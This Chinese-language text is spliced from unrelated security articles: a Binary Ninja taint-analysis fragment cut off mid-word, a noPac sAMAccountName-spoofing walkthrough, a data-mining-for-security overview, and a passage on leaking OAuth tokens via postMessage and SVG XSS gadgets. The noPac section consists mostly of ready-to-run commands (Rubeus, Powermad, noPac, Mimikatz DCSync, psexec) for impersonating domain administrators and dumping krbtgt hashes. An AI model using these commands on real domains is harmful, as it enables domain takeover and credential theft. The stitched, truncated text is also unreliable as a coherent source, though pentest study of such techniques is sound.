從CFG中刪除約束塊的外向邊。這就是我們的約束圖。

在約束圖中尋找定義基本塊和其他def-use鏈的基本塊之間是否存在路徑。

如果任何def-use基本塊無法到達,那麼這些指令就不會被用於污點傳播。

由於每個賦值操作在SSA表示中都是唯一的,因此,我們可以維護一個包括約束圖在內的每個變量的必要信息的字典,以便做進一步的分析。下面是一個在存在約束塊的情況下尋找可達塊的示例偽碼:

self.var_def_uses.setdefault(ssa_var,dict())

refs=definition.function.get_ssa_var_uses(ssa_var)

basic_blocks=self.refs_to_basic_blocks(definition,refs)

forrefinrefs:

self.get_constrained_blocks(ref,constraint_blocks,ssa_var)

subgraph=self.get_constrained_subgraph(constraint_blocks)

self.var_def_uses[ssa_var]['subgraph']=subgraph

reachable_blocks=self.get_reachable_blocks(definition,ssa_var,basic_blocks)

forblk,stmtsinbasic_blocks.items():

ifblkinreachable_blocks:

pruned_refs+=stmts

self.var_def_uses[ssa_var]['def']=definition

self.var_def_uses[ssa_var]['refs']=pruned_refs要發現某個SSA變量是否在給定指令中被污染的,我們只需檢查其可達的def-use鏈即可:

defis_reachable(self,var,expr):

ifself.function_mlilssa[expr.instr_index]inself.var_def_uses[var]['refs']:

returnTrue將算術運算作為過濾器除了顯式過濾器之外,還可以將算術運算用作污點過濾器。例如,AND運算或邏輯右移(LSR)運算可能會對值施加約束。在這種情況下,可以使用啟發式方法過濾掉不想要的結果,例如:

1.png

在這裡,表面上看污染值並未與任何值進行顯式比較,但是,LSR和AND之類的邏輯運算實際上已經限制了輸入範圍。這就是我發現possible_values屬性非常有用的地方。 Binary Ninja的數據流分析可以為一個表達式提供可能的值:

current_function.get_low_level_il_at(here).mlil.ssa_form.src

current_function.get_low_level_il_at(here).mlil.ssa_form.src.possible_valuescurrent_function.get_low_level_il_at(here).mlil.ssa_form.src

current_function.get_low_level_il_at(here).mlil.ssa_form.src.possible_valuesunsignedranges:[處理污染變量的傳遞關係分析的第一階段,我們需要傳播污染數據並生成相關信息,如污染變量列表、每個SSA變量的約束,以及它們各自的約束子圖。

在分析的第二階段,我們將考察受污染的SSA變量之間的關係。為什麼這很重要?因為我們只尋找unbounded型SSA變量。雖然在第一階段已經處理了對SSA變量施加的任何直接約束,但還沒有處理通過傳遞關係施加給SSA變量的那些間接約束。考慮下面的示例:

1.png

變量index#0可能被污染且不受約束。但是,由於對派生變量constrained_var#1進行了驗證,從而間接地對index變量施加了約束,因此,index#3在0x11f2的內存訪問期間不會被污染。下面是另一個例子:

1.png

這裡,index#1、index#2、rax#1和constrained_var#1是變量index#0的副本或直接賦值。當變量constrained_var#1被驗證時,其他變量也會被驗證。因此,如果不分析約束對派生變量或變量副本的影響,則會導致誤報。接下來,我們將詳細介紹如何處理相關變量的約束問題。

通過傳遞關係施加給SSA變量的約束在污點傳播階段結束後,我們將遍歷所有有約束的污點變量。對於每一個有約束的變量,我們需要找出其子變量和父變量:

從給定變量派生的變量稱為子變量。

派生給定變量的變量稱為父變量。

為了檢查所考查的變量上的約束是否對其父變量或子變量產生影響,我們需要進行以下檢查:

為所考查的SSA變量挑選約束子圖。

檢查子變量的定義是否可以從當前變量的定義中到達:

如果不可達,則在CFG中定義子變量之前放置約束,因此,def-use鏈中的基本塊都不會被污染。

如果可達,則在CFG中定義子變量之後放置約束。在這種情況下,還要檢查子變量的de

與標準用戶帳戶相比,機器帳戶會在名稱末尾附加$符號。在默認情況下,Microsoft操作系統缺乏安全控制和加固措施,難以防禦某些攻擊。此外,多年來的事實證明,Windows生態系統中許多事情的工作方式可能會通過利用現有的功能和工作流來加以濫用。

舉例來說,active directory中的每個帳戶都會在“SamAccountName”屬性中提供名稱。但是,它卻沒有提供防止被濫用的措施,因此任何擁有機器帳戶的用戶都可以修改該值。這個值被修改後,可以用來冒充域上的其他帳戶,如域控制器的機器帳戶。 Charlie Clark是第一個詳細介紹如何將這些漏洞武器化的人。

在申請服務票證之前,需要先簽發票證授予票證(TGT)。當為密鑰分發中心(KDC)中不存在的帳戶請求服務票證時,密鑰分發中心將跟踪搜索,並在該帳戶上附加$符號。結合這種行為和對“SamAccountName”屬性缺乏控制的事實,滲透測試人員可以利用這一點進行域升級。具體地說,可以請求域控制器帳戶的票證授予票證,並且在任何服務票證請求之前恢復“SamAccountName”屬性值將強制KDC搜索域控制器的機器帳戶,並代表域管理員發出提權的服務票證。

要想利用該漏洞進行域升級,用戶必須具有機器帳戶的權限,只有這樣才能修改“SamAccountName”和“ServicePrincipalName”屬性。一般來說,可以創建機器帳戶的用戶,都擁有修改這些屬性所需的特權。在默認情況下,域用戶的機器帳戶配額設置為10,這表示允許用戶在域上創建機器帳戶數量。或者,攻擊者也可以從作為機器帳戶所有者的帳戶的角度發動進攻。利用“SamAccountName”執行域升級包括以下步驟:

創建一個機器賬戶

清除“servicePrincipalName”屬性

修改機器賬戶的“sAMAccountName”屬性,以指向沒有$符號的域控制器名稱

為域控制器賬戶申請一個TGT

將“sAMAccountName”屬性恢復為原始值或任何其他值

使用S4U2self方法請求一個服務票據

冒充域管理員賬戶接收服務票據

下圖演示了“sAMAccountName”冒充技術的具體步驟。

1.png

sAMAccountName欺騙

檢測漏洞微軟已經發布了補丁,以防止攻擊者成功利用該漏洞。然而,在很多情況下,補丁並沒有及時應用,這就創造了一個時間窗口,使得這種技術可以在滲透測試中加以利用。該技術的先決條件如下所示:

1、沒有安裝KB5008380和KB5008602安全補丁的域控制器

2、有效的域用戶帳戶

3、機器帳戶配額大於0

由於這個過程需要訪問內部網絡,因此,假定攻擊者已經獲得了低權限的帳戶。如上所述,機器帳戶配額默認為10,因此唯一的要求是識別系統是否應用了補丁。這並非難事,可以通過請求沒有域用戶帳戶的PAC的票證授予票證並觀察base64票證大小(與使用PAC發出的票證相比要更小)來實現。 Rubeus可以與/nopac開關一起使用,以請求已知憑據的域帳戶的TGT。

Rubeus.exe asktgt /user:pentestlab /password:Password1234 /domain:purple.lab /dc:dc.purple.lab /nopac /nowrap

1.png

通過Rubeus檢測sAMAccountName欺騙漏洞

從票據大小來看,可以認為域控制器是易受攻擊的,因為票證沒有隨PAC一起發出。

1.png

沒有PAC時Rubeus票據的大小

另外,C#工具noPac可用於檢索網絡上所有可用域控制器的TGT票證。該工具是基於Rubeus的,因為它使用庫“Rubeus.lib.Interop.LUID”來獲取票證。票證的大小可以確定KDC是否發出了沒有PAC的票證。

noPAC.exe scan -domain purple.lab -user pentestlab -pass Password1234

1.png

noPac掃描器

如果通過PowerShell控制台進行操作的話,可以藉助於Shitsecure開發的一個PowerShell腳本“Invoke-noPac”——它可以將.NET程序集noPac嵌入base64中。由於該工具實際上就是noPac,所以可以使用同樣的參數來檢索票證。

Import-Module .\Invoke-noPAC.ps1

Invoke-noPAC -command 'scan -domain purple.lab -user pentestlab -pass Password1234'

1.png

掃描PowerShell

手動方式實際上,現在已經有各種各樣的工具和腳本,可以幫助我們從加入域和沒有加入域的系統中自動完成上述任務。但是,在深入研究自動化之前,了解如何使用現有工具組手動完成漏洞利用是非常重要的。通過活動目錄創建機器帳戶對於滲透測試人員來說並不陌生,因為在基於資源的受限委託期間也可以使用它。 Kevin Robertson開發了一個名為Powermad的PowerShell模塊,該模塊提供了在域上創建機器帳戶的功能。

New-MachineAccount -MachineAccount 'PentestLab' -Domain 'purple.lab' -DomainController 'dc.purple.lab'

1.png

創建機器賬戶

使用PowerSploit的“Set-DomainObject”從已創建的機器帳戶中刪除服務主體名稱值非常方便:

Set-DomainObject 'CN=PentestLab,CN=Computers,DC=purple,DC=lab' -Clear 'serviceprincipalname'

1.png

清除SPN

通過Powermad和“SetMachineAccountAttribute”函數,也可以修改'SamAccountName'屬性值以使其指向域控制器主機名:

Set-MachineAccountAttribute -MachineAccount 'PentestLab' -Value 'dc' -Attribute 'samaccountname'

1.png

重命名sAMAccountName

查看活動目錄中的屬性,可以看到新機器帳戶的值現在指向“dc”,因此這個帳戶能夠冒充域控制器。

1.png

sAMAccountName欺騙

我們可以通過查詢域控制器來驗證屬性“sAMAccountName”是否已被修改。此外,PowerSploit中的“GetDomainComputer”函數可以用來枚舉域上機器帳戶的屬性。

Get-DomainComputer 'CN=Pentestlab,CN=Computers,DC=purple,DC=lab' -Domain purple.lab -Server dc.purple.lab | select samaccountname

1.png

檢索sAMAccountName

當涉及到Kerberos的操作時,Rubeus是一個標準工具。由於sam賬戶的名稱已經修改,所以,它現在可以從標準用戶的上下文中為dc賬戶申請票證授予票證。

.\Rubeus.exe asktgt /user:'dc' /password:'Password123' /domain:'purple.lab' /dc:'dc.purple.lab' /nowrap

1.png

檢索TGT

下面,我們需要把sam帳戶名屬性恢復到其原始值或任何其他值,否則無法發出服務票證。

Set-MachineAccountAttribute -MachineAccount 'PentestLab' -Value 'PentestLab$' -Attribute samaccountname

1.png

恢復sAMAccountName

由於TGT已經存儲在內存中,所以,現在可以使用kerberos擴展's4u2self'以域管理員的身份來請求服務票證。由於原始票證屬於dc用戶,而sam帳戶名已重命名,即該用戶已經不存在,所以,Kerberos將查找dc$,這是一個有效的機器帳戶,並為請求的服務發出票證。

./Rubeus.exe s4u /self /impersonateuser:'Administrator' /altservice:'cifs/dc.purple.lab' /dc:'dc.purple.lab' /ptt /ticket:[Base64 TGT]

1.png

請求服務票證

我們可以在現有會話中執行Mimikatz,以便通過DCSync技術轉儲“krbtgt”帳戶的哈希值,從而創建黃金票證。

lsadump:dcsync /domain:purple.lab /kdc:dc.purple.lab /user:krbtgt

1.png

DCSync

自動化方式基於sAMAccountName欺騙的滲透測試,也可以使用由Cube0x0開發的C#工具noPac直接從內存中自動完成。為此,我們可以執行下面的命令,創建一個具有指定密碼的機器帳戶,並將獲得“CIFS”服務的服務票證,該服務票證將被傳遞到內存中。

noPac.exe -domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlaboratories /mPassword Password123 /service cifs /ptt

1.png

noPac

以下命令可用於驗證域升級的情況,因為標準用戶可以枚舉域控制器上C$文件夾的內容。

dir \\dc.purple.lab\c$

1.png

驗證域升級

類似地,如果初始implant是基於PowerShell的,則可以在Invoke-noPac腳本中使用相同的命令行參數。正如上面所說的那樣,它實際上是noPac C#工具的包裝器。

Invoke-noPac -command '-domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlab /mPassword Password123 /service cifs /ptt'

1.png

noPac PowerShell

訪問域控制器的C$文件夾可以驗證緩存到內存中的服務票證是否已經升級。

dir \\dc.purple.lab\c$

1.png

驗證服務票證是否已經升級

擴展到非域機器該技術的相同原理,也可以應用到未連接到域的系統上。 Hossam Hamed發布了一個名為“sam the admin”的python腳本,它模擬了這種攻擊。最初,該腳本將嘗試列舉“ms-DS-MachineAccountQuota”屬性,以確定是否可以在域中添加新的機器。然後,將用隨機密碼創建一個機器賬戶。新機器賬戶的“sAMAccountName”屬性將被修改為包含域控制器機器賬戶的值。然後,請求一個升級的票證並保存到緩存中。最後,“sAMAccountName”屬性的原始值將被恢復,並使用Impacket套件中的“smbexec”建立到域控制器的會話,並使用緩存的票證。

python3 sam_the_admin.py 'purple/pentestlab:Password1234' -dc-ip 10.0.0.1 -shell

1.png

sam the admin shell

該腳本包含一個標誌,可用於在後台利用“secretsdump”來轉儲域哈希值。

python3 sam_the_admin.py 'purple/pentestlab:Password1234' -dc-ip 10.0.0.1 -dump

1.png

sam the admin dump

這些哈希值可用於脫機破解,以便識別正在使用的弱密碼,並確定客戶端的密碼策略是否足夠強、是否符合行業標准或是否需要進一步評估。此外,由於“krbtgt”帳戶的哈希值是可見的,可以為域持久化創建一個黃金票證。

1.png

轉儲域哈希值

Oliver Lyak發布了一個類似的python腳本,它既可以用於掃描域控制器以識別易受攻擊的主機,又可用於檢索授予服務票證的票證。

python3 pachine.py -dc-host dc.purple.lab -scan 'purple.lab/pentestlab:Password1234'

1.png

Pachine掃描器

對易受攻擊的域控制器執行以下命令,就可以創建一個具有隨機密碼的機器帳戶,以獲取票證授予票證。然後,重命名機器帳戶名稱,並使用S4U2self檢索服務票證,並將其保存在本地,以供屬於“域管理員”組的管理員用戶使用。

python3 pachine.py -dc-host dc.purple.lab -spn cifs/dc.purple.lab -impersonate administrator 'purple.lab/pentestlab:Password1234'

1.png

利用Pachine獲取票證

可以使用“export krb5ccname”和存儲票證的路徑將票證導入Kerberos緩存。由於票證現在是從當前控制台導入的,因此,Impacket“psexec”可以與Kerberos身份驗證一起使用,以便訪問域控制器。

export KRB5CCNAME=administrator@purple.lab.ccache

impacket-psexec -k -no-pass 'purple.lab/administrator@dc.purple.lab'

1.png

PsExec

通過一個基於python腳本“sam the admin”的工具來實現該技術也是可行的,這個腳本名為noPac。這個掃描器腳本將枚舉“ms-DS-MachineAccountQuota”屬性,並嘗試從所有可用的域控制器獲得票證授予票證。票證大小也將顯示在控制台中,以便快速識別易受攻擊的目標。在下面的示例中,與主機10.0.0.1相比,在沒有PAC的情況下接收的兩個票證相對較小,所以,主機10.0.0.1發出的是一個帶有PAC的票證。

python3 scanner.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1

1.png

noPac掃描器

這個腳本可以根據活動的需要用各種參數執行。只需指定一個域用戶的憑證和域控制器的IP地址就可以發動攻擊,直到檢索到一個升級的票證為止。

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1

1.png

sAMAccountName Spoofing – 通過noPac 檢索服務票證

1.png

sAMAccountName Spoofing – noPac

只要附加“-shell”和“-impersonate”標誌,便可以在域控制器上建立會話。

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc -shell --impersonate administrator

1.png

冒充Administrator

類似地,“-dump”標誌可用於從域用戶的ntds.dit秘密中檢索哈希值。由於已經通過Kerberos票證實現了域管理員訪問權限,因此,可以獲取“krbtgt”帳戶的哈希值,以便建立域的持久性訪問。

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc --impersonate administrator -dump -just-dc-user purple/krbtgt

1.png

轉儲krbtgt的哈希值

演示視頻可以從這裡查看。

參考資料https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html

https://exploit.ph/more-samaccountname-impersonation.html

https://github.com/WazeHell/sam-the-admin

https://github.com/cube0x0/noPac

僅在2021 年,人類就創建、複製和使用了大約74 澤字節(萬億千兆字節)的數據。看起來我們擁有所需的所有數據,但實際上每年都越來越難找到相關信息。幸運的是,數據挖掘等技術可以幫助我們恢復數據的秩序,並利用它來提高我們的網絡安全。

使用數據挖掘技術分析您的數據庫和安全日誌可以幫助您改進對惡意軟件、系統和網絡入侵、內部攻擊以及許多其他安全威脅的檢測。有些技術甚至可以準確預測攻擊並檢測零日威脅。

在本文中,我們研究了關鍵數據挖掘技術以及網絡和端點安全中數據挖掘的五個用例。這篇文章對於開發網絡安全軟件並希望提高其威脅檢測能力的團隊很有用。

網絡安全中的數據挖掘:過程、優點和缺點什麼是數據挖掘?數據挖掘是分析信息、發現新模式和數據以及預測未來趨勢的過程。它經常用於科學研究、業務開發、客戶關係和其他領域。

雖然術語數據挖掘通常被視為數據庫中知識發現(KDD) 的同義詞,但它實際上只是KDD 過程中的步驟之一。 KDD 的主要目標是從大量數據中獲取有用且通常是以前未知的信息。整個KDD流程包括四個步驟:

image.png

數據庫中知識發現的4 個步驟

KDD 廣泛應用於任何可以從海量數據分析中獲益的領域:科學研究、商業分析、營銷研究等。它還被網絡犯罪分子用來尋找新的攻擊方式,並被網絡安全專業人員用來檢測和阻止這些新的攻擊。

結合數據挖掘和網絡安全可以確定網絡攻擊的特徵並改進攻擊檢測過程。為了獲得有價值的知識,數據挖掘使用了來自統計學、機器學習(ML)、人工智能(AI) 和數據庫系統的方法。

數據挖掘可幫助您快速分析龐大的數據集並自動發現隱藏的模式,這對於創建能夠檢測以前未知威脅的有效反惡意軟件解決方案至關重要。但是,使用數據挖掘方法的最終結果始終取決於您使用的數據質量。

依靠數據挖掘來改進保護有其自身的優點和缺點。讓我們來看看它們:

image.png

這些是出於網絡安全目的而挖掘數據的一般利弊。除此之外,每種數據挖掘技術都有自己的優勢、局限性和特定的用例。讓我們來看看網絡安全的六種關鍵數據挖掘方法。

6 大關鍵數據挖掘技術您可以使用預測或描述技術來挖掘數據庫。說明性技術根據過去的事件進行預測,而描述性技術側重於對現有數據庫的分析和構建。

讓我們來看看網絡安全的六種關鍵數據挖掘技術:

image.png

挖掘網絡安全數據的技術

分類此技術通過將大型數據集分解為預定義的類、概念和變量組來創建數據庫模型。您還可以使用它來分析構建模型後添加到數據庫中的變量,並為它們分配相應的類。為了實現準確的實時分類,您需要非常注意算法的監督訓練以及測試其工作原理。在網絡安全中,分類通常用於檢測垃圾郵件和網絡釣魚電子郵件。

回歸分析這些算法根據數據集中其他變量的已知平均值來預測一個變量的變化值。使用此技術,您可以在數據庫中建立因變量和自變量之間的關係模型。分析變量的變化並將這些變化與因變量進行比較可以幫助您確定變化的原因以及一個變量對另一個變量的影響。回歸分析廣泛用於預測趨勢和事件,包括可能的網絡攻擊。

時間序列分析這些算法通過分析數據庫中任何數據條目更改的時間來發現和預測基於時間的模式。這種技術對於通過挖掘多年數據庫來深入了解各種週期性活動特別有用。您可以依靠時間序列分析來預測在特定事件、季節甚至一天中的某個時間發生的安全漏洞和攻擊。

關聯規則分析這是最廣泛的數據挖掘算法之一。關聯規則分析可以幫助您發現數據庫中頻繁一起出現的變量之間可能存在的關係,並發現隱藏的模式。您可以應用此技術來分析和預測用戶行為、檢查網絡流量以及定義網絡攻擊模式。安全人員經常使用關聯規則分析來研究攻擊者的行為和思維方式。

聚類聚類有助於識別具有共同特徵的數據項並了解變量的異同。它類似於分類,但聚類不能實時對變量進行排序。此技術只能幫助您構建和分析現有數據庫。與分類相比,聚類允許在模型中進行更改並創建子集群,而無需重新設計所有算法。

總結這種數據挖掘技術側重於編譯數據集、類和集群的簡要描述。摘要可以幫助您更好地了解數據集的內容和數據挖掘過程的結果,因為它可以掌握數據的本質並消除手動挖掘數據的需要。在網絡安全解決方案中,匯總主要用於生成報告和可視化日誌。

請記住,這些數據挖掘技術中的每一種都可以通過ML 和AI 算法得到增強。這些尖端技術可以幫助您發現更多隱藏的模式並提高預測的準確性。然而,將ML 和AI 添加到網絡安全解決方案中肯定會增加其開發和維護的複雜性。

接下來,我們將仔細研究特定用例,展示如何將數據挖掘用於網絡安全解決方案。

網絡安全中的數據挖掘用例您可以將數據挖掘應用於任何數據庫,並根據您想要實現的任何目標對其進行調整。在網絡安全領域,挖掘算法通常有助於發現可能表明安全事件的異常數據記錄和事件。

以下是數據挖掘在計算機安全領域最常見的五種應用:

image.png

1.惡意軟件檢測在構建安全軟件時,開發人員使用數據挖掘方法來提高惡意軟件檢測的速度和質量,以及檢測零日攻擊。

檢測惡意軟件的策略有以下三種:

image.png

惡意軟件檢測策略

異常檢測涉及對系統或網絡的正常行為進行建模,以識別與正常活動模式的偏差。基於異常的技術甚至可以檢測到以前未知的攻擊,並可用於定義濫用檢測器的簽名。

但是,異常檢測甚至可以報告偏離規範的合法活動,從而產生誤報。

誤用檢測,也稱為基於簽名的檢測,僅根據簽名示例識別已知攻擊。這種技術的誤報率較低,但無法檢測到零日攻擊。

混合方法結合了異常和濫用檢測技術,以增加檢測到的入侵數量,同時減少誤報數量。混合檢測算法不構建任何模型。相反,他們使用來自惡意軟件和合法程序的信息來創建分類器,這是一組規則或由數據挖掘算法生成的檢測模型。然後系統的異常檢測部分搜索與正常配置文件的偏差,系統的誤用檢測部分查找代碼中的惡意軟件簽名。

無論您選擇哪種策略,惡意軟件檢測系統的開發都包括兩個步驟:image.png

惡意軟件檢測過程

首先,數據挖掘算法從API 調用、n-gram、二進製字符串、程序行為和其他事件的記錄中提取惡意軟件特徵。您可以應用靜態、動態或混合分析來從可能不安全的文件中提取惡意軟件特徵。

在分類聚類的過程中,可以使用相應的技術,根據特徵分析對文件樣本進行分組。此時,您需要使用RIPPER、決策樹、人工神經網絡、樸素貝葉斯或支持向量機等分類算法構建分類器。

使用ML 技術,每個分類算法都會構建一個模型來表示良性和惡意類。使用此類文件樣本集合訓練分類器使您甚至可以檢測新發布的惡意軟件。

2.入侵檢測攻擊者可以通過組織的網絡、數據庫、服務器、Web 客戶端和操作系統執行惡意入侵。使用數據挖掘技術,您可以分析審計結果並識別異常模式。因此,您可以檢測入侵、網絡和系統掃描、拒絕服務和滲透攻擊。

數據挖掘方法對於檢測這些類型的入侵特別有效:

image.png

通過數據挖掘檢測入侵

要檢測基於主機的攻擊,您的網絡安全軟件需要分析從程序中提取的特徵。檢測基於網絡的攻擊需要這樣的解決方案來分析網絡流量。與惡意軟件檢測一樣,您可以查找異常行為或濫用案例。

入侵檢測系統通常基於分類、聚類和關聯規則技術。這些技術允許從數據庫中提取攻擊特徵,將它們系統化,並標記任何具有相同特徵的新記錄。您可以在此處使用的一些算法包括回歸和決策樹、貝葉斯網絡、k 最近鄰、學習自動機和層次聚類。

您還可以向入侵檢測系統添加預測功能。分類和時間序列分析等技術可以計算未來入侵的可能性。使用AI 算法可以更輕鬆地檢測隱藏的或以前未知的可疑活動。

3.欺詐檢測檢測欺詐具有挑戰性,因為欺詐活動通常很隱蔽,而且網絡犯罪分子不斷發明新的欺詐模式。

利用機器學習的數據挖掘技術可以發現多種類型的欺詐行為,從金融欺詐到電信欺詐和計算機入侵。 ML 對於欺詐檢測特別有用,因為它可以:

擴展以考慮數據庫數量和復雜性的變化

學習檢測和預測新型欺詐

準確計算欺詐活動的概率

您可以使用監督和非監督ML 算法來檢測欺詐。

通過監督學習,所有可用記錄都被歸類為欺詐或非欺詐。然後使用此分類來訓練模型以檢測可能的欺詐行為。這種方法的主要缺點是無法檢測新型攻擊。

無監督學習方法從未標記的記錄中學習欺詐模式。他們為欺詐活動創建自己的分類和特徵描述。無監督學習有助於在不使用統計分析的情況下識別數據中的隱私和安全問題。它還能夠分析和檢測新型欺詐。

4.威脅情報收集有關網絡安全威脅的證據通常分散在組織的網絡中。這些記錄可用於形成訓練數據集、構建挖掘模型並提高預測準確性。但挑戰在於在數TB 的記錄中找到相關數據。

數據挖掘算法有助於發現此類隱藏數據並將其轉換為結構化的威脅情報數據庫。您可以使用聚類、關聯規則和匯總技術來發現這些類型的智能:

image.png

安全威脅情報的類型

數據挖掘通常僅用於威脅情報的第一階段:發現和構建數據。之後,網絡安全專家必須手動審查發現的數據並決定如何對其採取行動。但是,您也可以使用數據挖掘技術構建一個基於機器學習的框架來收集和處理數據。

5. 內部威脅檢測與預測內部威脅是可能對組織造成傷害的合法用戶的活動。檢測內部威脅活動通常是一項棘手的任務,因為這些行為通常看起來與普通用戶活動相似,或者它們可以被故意隱藏在威脅檢測機制之外。

由於大數據算法可以檢測機器和人類用戶的異常行為,因此它們被廣泛用於檢測和預測內部威脅。與入侵檢測系統類似,內部威脅檢測系統基於識別合法和威脅行為的特徵。

有多種基於機器學習的分類和聚類算法,包括有監督和無監督的,有助於檢測內部威脅。此外,您可以根據數據挖掘原理訓練深度神經網絡,以檢查網絡安全日誌並實時檢測可能的內部活動。

結論可靠、相關且結構良好的數據是幾乎所有網絡安全解決方案的基礎。雖然組織每天都會生成大量數據,但手動收集和處理所有這些數據以應對網絡安全威脅是不可能的。

數據挖掘技術可以幫助您識別任何惡意活動的特徵,甚至可以預測可能的攻擊。它們在收集威脅情報和檢測惡意軟件、入侵、欺詐和內部攻擊方面特別有效。通過數據挖掘增強保護的主要好處是能夠識別已知攻擊和零日攻擊。

我們在上一篇文章中介紹了響應類型,如何通過postMessage 竊取令牌以及小工具1,本文接著講小工具2、小工具3,以及洩露URL 的其他途徑。

小工具2:示例1,從沙盒框架中竊取window.name我在5 月12 日報告了使用這個小工具在野外發現的第一條鏈:

20.png

巧合的是,兩天后的5 月14 日,Youssef Sammouda 發表了一篇很棒的博文,解釋了他接管使用Gmail 的Facebook 帳戶的方法。這篇博文描述了我發現的類似流程。但是,該錯誤並不是要破壞OAuth-dance,而是通過使用允許加載任意javascript 的iframe:d 沙盒域來洩露受害者最終訪問的URL。沙盒訪問URL 中的敏感數據的原因是它在加載iframe 時附加到沙盒URL。

不過,我發現的案例有點不同。

第一個是在OAuth-dance結束的頁面上加載iframe。 iframe是window.location-object的json字符串版本。這是一種舊的跨域傳輸數據的方法,因為iframe中的頁面可以得到由父節點設置的自己的window.name:

21.png

在iframe中加載的域也有一個簡單的XSS:

22.png

正如Youssef解釋的那樣,如果你在一個窗口的一個域上有一個XSS,那麼如果窗口之間存在父/子/開啟者關係,則該窗口可以到達同源的其他窗口。

在示例中,我做了以下操作:

1.創建了一個惡意頁面,該頁面嵌入了沙盒的iframe,XSS 加載了我自己的腳本:

23.png

2.在沙盒中加載腳本時,我將內容替換為受害者使用的鏈接:

24.png

我還啟動了一個腳本,以檢查鏈接是否已打開,並且我想訪問的iframe 是否存在以獲取iframe 上設置的window.name 與攻擊者頁面上的iframe 相同的來源:

25.png

3.然後,攻擊者頁面可以只偵聽我們剛剛發送的帶有window.name 的消息:

26.png

小工具2:示例2,帶有XSS + 父源檢查的iframe第二個示例是使用postMessage 將iframe 加載到具有XSS 的不太好用的路徑上,但僅允許來自加載它的父窗口的消息。當它在給父窗口的消息中請求initConfig 時,location.href 被發送到iframe。

主窗口像這樣加載iframe:

27.png

內容如下所示,這比實際情況要簡單得多,只是為了更好地解釋攻擊:

28.png

在這種情況下,我可以執行與第一個示例類似的方法:

1.創建一個嵌入沙盒iframe 的惡意頁面,附加onload 以在加載iframe 時觸發腳本。

29.png

2.由於惡意頁面是iframe 的父級,它可以向iframe 發送消息以使用postMessage 將我們的腳本加載到沙盒的來源:

30.png

3.在沙盒中加載腳本時,我將內容替換為受害者的鏈接:

31.png

我還啟動了一個腳本,以檢查鏈接是否已打開以及我想要訪問的iframe 是否存在,以便在其中運行javascript 從我的iframe 到主窗口。然後,我在惡意窗口中附加了一個postMessage 偵聽器,該偵聽器將消息傳遞回我的iframe:

32.png

4.加載了iframe 的攻擊者頁面然後可以在主窗口的iframe 中偵聽我從注入的postMessage-listener 代理髮送的消息:

33.png

小工具3:使用API 獲取越界URL

34.png

這個小工具原來是最有趣的。把受害者送到某個地方然後從另一個地方獲取敏感數據,這讓人很滿意。

小工具3:示例1,沒有來源檢查的存儲框架第一個示例使用外部服務來跟踪數據。該服務添加了一個存儲框架:

35.png

主窗口將使用postMessage 與此iframe 對話,以發送跟踪數據,這些跟踪數據將保存在storage.html 所在的源的localStorage 中:

36.png

主窗口也可以獲取以下內容:

37.png

當iframe 在初始化時加載時,使用location.href 為用戶的最後一個位置保存了一個項:

38.png

如果你能以某種方式與這個來源對話,並讓它向你發送內容,那麼location.href 可以從這個存儲中獲取。該服務的postMessage-listener 有一個阻止列表和一個來源的允許列表。分析服務似乎允許網站定義允許或拒絕的來源:

39.png

此外,如果你有一個基於allowList 的有效來源,你還可以請求同步,這將在此窗口中向你發送對localStorage 所做的任何更改。

在將這個存儲加載到OAuth-dance 的不太好用路徑上的網站上,沒有定義allowList-origins;如果源是窗口的父級,這允許任何源與postMessage-listener 對話。該方法類似於小工具2:

1.我創建了一個惡意頁面,該頁面嵌入了存儲容器的iframe,並附加了一個onload,以便在加載iframe時觸發腳本。

40.png

2.由於惡意頁面現在是iframe的父頁面,並且在allowList中沒有定義任何起源,因此惡意頁面可以向iframe發送消息,告訴存儲發送對存儲的任何更新的消息。我還可以向惡意頁面添加一個偵聽器,以偵聽存儲中的任何同步更新:

41.png

3.惡意頁面還包含一個供受害者點擊的常規鏈接:

42.png

受害者會點擊該鏈接,通過OAuth-dance,最終進入加載跟踪腳本和存儲iframe 的不太好用路徑。存儲iframe 獲取last-url 的更新。自從localStorage 更新以來,window.storage-event 將在惡意頁面的iframe 中觸發,並且每當存儲更改時,當前正在獲取更新的惡意頁面將獲得帶有受害者當前URL 的postMessage:

43.png

小工具3:示例2,CDN 中的客戶混淆——DIY 存儲——沒有來源檢查的SVG由於分析服務本身有一個漏洞賞金,我也有興趣看看我是否可以找到一種方法來洩露已經為storage-iframe 配置正確來源的網站的URL。

當我開始在線搜索沒有客戶部分的cdn.analytics.example.com 域時,我注意到這個CDN 還包含服務客戶上傳的圖像:

44.png

我還注意到這個CDN 上有SVG 文件作為Content-type: image/svg+xml 內聯提供:

45.png

我在該服務上註冊為試用用戶,並上傳了我自己的資產,該資產也出現在CDN 上:

46.png

有趣的是,如果你隨後將特定於客戶的子域用於CDN,則仍然會提供圖像。 URL如下:

47.png

這意味著ID #94342 的客戶可以在客戶#12345 的存儲中呈現SVG 文件。

我上傳了一個帶有簡單XSS 有效負載的SVG 文件:

48.png

效果不是很好。 CDN 為img/下的所有內容添加了Content-Security-Policy: default-src 'self'-header。你還可以看到提到S3 的服務器標頭,這表明內容已上傳到S3 存儲桶:

49.png

S3 的一個有趣的事情是目錄在S3 中並不是真正的目錄。項之前的路徑稱為“前綴”。這意味著S3 不關心/是否經過url 編碼,如果你對URL 中的每個斜杠進行url 編碼,它仍然會提供內容。如果我在URL 中將img/更改為img%2f ,仍然可以解析圖像。但是,在這種情況下,CSP-header 被刪除並觸發了XSS:

50.png

然後我可以上傳一個SVG,該SVG 將創建與常規storage.html 相同形式的存儲處理程序和postMessage-listener,但允許列表為空。即使在正確定義了可以與存儲通信的允許來源的網站上,這也使我能夠進行相同類型的攻擊。

我上傳了一個看起來像這樣的SVG:

51.png

然後我可以使用與示例#1 中相同的方法,但我可以使用url 編碼的斜杠iframe 而不是iframe 的storage.html:

52.png

由於沒有網站能夠自行修補此問題,因此我向負責CDN 的分析提供商發送了一份報告:

53.png

